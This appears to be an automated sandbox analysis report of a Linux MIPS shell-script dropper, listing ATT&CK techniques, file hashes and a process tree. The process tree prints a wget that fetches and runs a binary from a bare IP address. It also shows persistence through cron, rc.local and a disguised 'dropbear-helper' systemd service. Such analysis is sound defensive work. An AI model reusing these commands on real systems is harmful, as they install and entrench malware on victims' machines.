b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781

Analysis

max time kernel
38s
max time network
32s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/05/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
Size 2KB
Sample260527-twb6jsct2r
SHA256 b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781
MD5 618d44ade6b3de10b5e2de051ff6b89e
SHA1 d9aae21eb9980aa694320654d5f379f7651d39a8
SHA512 40f5af5fda7469b7675fc52d6e71f1e3158d3d9d3e6ece758f62e392b49ce9691b1cd9500da8a4365dd9bffa9b403c4499c14e3050c2648f8079dc54c9b7df6f
TLSH
T16F51FDE2B835D435F98DA439EB9D63987482241F0A18BE14758F783C0B8C94C23FE679
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
727	chmod
734	chmod
740	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nova.mips	729	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.iOQMBv	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/dropbear-helper.service	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/668/stat	pidof
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/16/cmdline	pidof
File opened for reading	/proc/21/cmdline	pidof
File opened for reading	/proc/82/cmdline	pidof
File opened for reading	/proc/659/cmdline	pidof
File opened for reading	/proc/709/stat	pidof
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/70/cmdline	pidof
File opened for reading	/proc/22/stat	pidof
File opened for reading	/proc/77/cmdline	pidof
File opened for reading	/proc/108/stat	pidof
File opened for reading	/proc/693/cmdline	pidof
File opened for reading	/proc/704/cmdline	pidof
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/36/cmdline	pidof
File opened for reading	/proc/80/cmdline	pidof
File opened for reading	/proc/366/cmdline	pidof
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/5/cmdline	pidof
File opened for reading	/proc/9/cmdline	pidof
File opened for reading	/proc/72/stat	pidof
File opened for reading	/proc/121/stat	pidof
File opened for reading	/proc/229/stat	pidof
File opened for reading	/proc/229/cmdline	pidof
File opened for reading	/proc/73/stat	pidof
File opened for reading	/proc/4/cmdline	pidof
File opened for reading	/proc/8/stat	pidof
File opened for reading	/proc/74/cmdline	pidof
File opened for reading	/proc/79/cmdline	pidof
File opened for reading	/proc/366/stat	pidof
File opened for reading	/proc/710/stat	pidof
File opened for reading	/proc/24/stat	pidof
File opened for reading	/proc/154/stat	pidof
File opened for reading	/proc/317/cmdline	pidof
File opened for reading	/proc/121/cmdline	pidof
File opened for reading	/proc/318/cmdline	pidof
File opened for reading	/proc/365/stat	pidof
File opened for reading	/proc/1/stat	pidof
File opened for reading	/proc/2/cmdline	pidof
File opened for reading	/proc/120/cmdline	pidof
File opened for reading	/proc/148/stat	pidof
File opened for reading	/proc/210/cmdline	pidof
File opened for reading	/proc/700/cmdline	pidof
File opened for reading	/proc/403/stat	pidof
File opened for reading	/proc/7/stat	pidof
File opened for reading	/proc/13/stat	pidof
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/17/cmdline	pidof
File opened for reading	/proc/72/cmdline	pidof
File opened for reading	/proc/76/cmdline	pidof
File opened for reading	/proc/698/cmdline	pidof
File opened for reading	/proc/24/cmdline	pidof
File opened for reading	/proc/700/stat	pidof
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/12/stat	pidof
File opened for reading	/proc/12/cmdline	pidof
File opened for reading	/proc/7/cmdline	pidof
File opened for reading	/proc/11/cmdline	pidof
File opened for reading	/proc/18/cmdline	pidof
File opened for reading	/proc/339/stat	pidof

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
710	pidof
717	rm
719	wget
729	nova.mips
732	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nova.mips	wget

/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
1⤵
- Executes dropped EXE
- Modifies rc script
- Modifies systemd
PID:703
- /bin/uname
  uname -m
  2⤵
  PID:707
- /bin/pidof
  pidof nova.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:710
- /bin/rm
  rm -f /tmp/nova.mips
  2⤵
  - System Network Configuration Discovery
  PID:717
- /usr/bin/wget
  wget -q http://176.65.149.142/bins/nova.mips -O /tmp/nova.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:719
- /bin/chmod
  chmod 777 /tmp/nova.mips
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /bin/mkdir
  mkdir -p /var/lib/.nova
  2⤵
  PID:730
- /tmp/nova.mips
  /tmp/nova.mips
  2⤵
  - System Network Configuration Discovery
  PID:729
- /bin/cp
  cp /tmp/nova.mips /var/lib/.nova/nova.mips
  2⤵
  - System Network Configuration Discovery
  PID:732
- /bin/chmod
  chmod 777 /var/lib/.nova/nova.mips
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:736
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:737
- /bin/grep
  grep -v /var/lib/.nova
  2⤵
  PID:738
- /bin/chmod
  chmod +x /etc/rc.local
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /bin/cat
  cat
  2⤵
  PID:741
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:746
- /bin/systemctl
  systemctl enable dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:762
- /bin/systemctl
  systemctl start dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:775

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 37B
SHA256 3fb351d9b010e9d19ad2c8e3c7442279d8e6130f9bf403168739478d26b8f378
MD5 5bf825d2a300120749059c58dda94d78
SHA1 d1f948aadf7987e10e9335bf42a20bac3599985e
SHA512 14950d45f3512567f1b1bad8384e0ae4abd38afe8601a7fc3be3382b660c41b27beeeea332aa979296bfffb57492436fbd9f9da40de9a5361e004d26f8fc71a9
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 44B
SHA256 5f493da785648d3250b6493dda2c94cdc9ec1d6960f083795076cbcef649d0d2
MD5 aec9ca8538529c64aac1079fcfc2697c
SHA1 fbb8fc7929a7db2cc54df92fb3c8516ceb654a91
SHA512 87a42fed30139bf00a22684c5920027cfde02a142973a5e431cd14d965a4bc84901bef4c04d36afa6f016795db0ab3dd27ece1c9330044aa9a2a609e558988f9
MD5 SHA1 SHA512

Submit Download

dropbear-helper.service

Path /etc/systemd/system/dropbear-helper.service
Size 182B
SHA256 7e495850bfb21921987a1680b02781c0bad659965d5f94ff0d06742d95b3d1fc
MD5 9d4fd67c48f7b988e1d5aa97080ba5bd
SHA1 a87934ad059ffa378167d5d8b6918062ecbbd124
SHA512 d23018a4e68c3e8ff6eade1293c63456b6942af83d494d1b6083ff0c01000a1c7d4495ec04ca9d4de6b6a0899546650242684cdd33584fdb6cf677adff88ba8c
TLSH
T1FBC01223563561A4EAEF28769FB67F44485002408F8DE2741FD11D0644E155A4435E9E
MD5 SHA1 SHA512 TLSH

Submit Download

nova.mips

Path /tmp/nova.mips
Size 193KB
SHA256 a5fe5a498063d796481d1066c6f196a1fc8ac5daba156a91ff1bdab1a0fe1a86
MD5 1bda989925d43bb88c9ebe7a66d4abc0
SHA1 eac3315c815634e85a7cddfaeef3175056a6f9ce
SHA512 79ce18708fba31ace917faa1f98177215a6c72d960cae796d7f03d44286bb90390946ea139f181c7a1426407d201eb0b7ed713482df9a7046deeeac625615029
SSDEEP 3072:OyboWRFNwC14T3XOAP2mx088uUP0kgW/AuI:OybGCAeK2G0mHkpLI
TLSH
T1B914B81E6F228F6EF269967047F34E30975832D62BE1D584E2ACD5501F202DE641FBB8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.iOQMBv

Path /var/spool/cron/crontabs/tmp.iOQMBv
Size 473B
SHA256 dde8a53a0c55bdfae4e1710cfd1f630200e8138e667461df3b20b5d22005ff3a
MD5 871506894591c9eec671231a69102425
SHA1 3eb2101774f2ed4e9f51a552c5f74835b85163a6
SHA512 358eeb024de045af88ca2884b0a6aa82c988653ad38797d71fa4fdfe2c4847c44061895aca789f9720144c07473367f4cbdecc0f7ec6faa9651981baccb187d4
TLSH
T1B1F0E9B4571D7534F3CD7D1877B912083D824065DCA85A00DC4E3A55815D31D3D3AF11
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads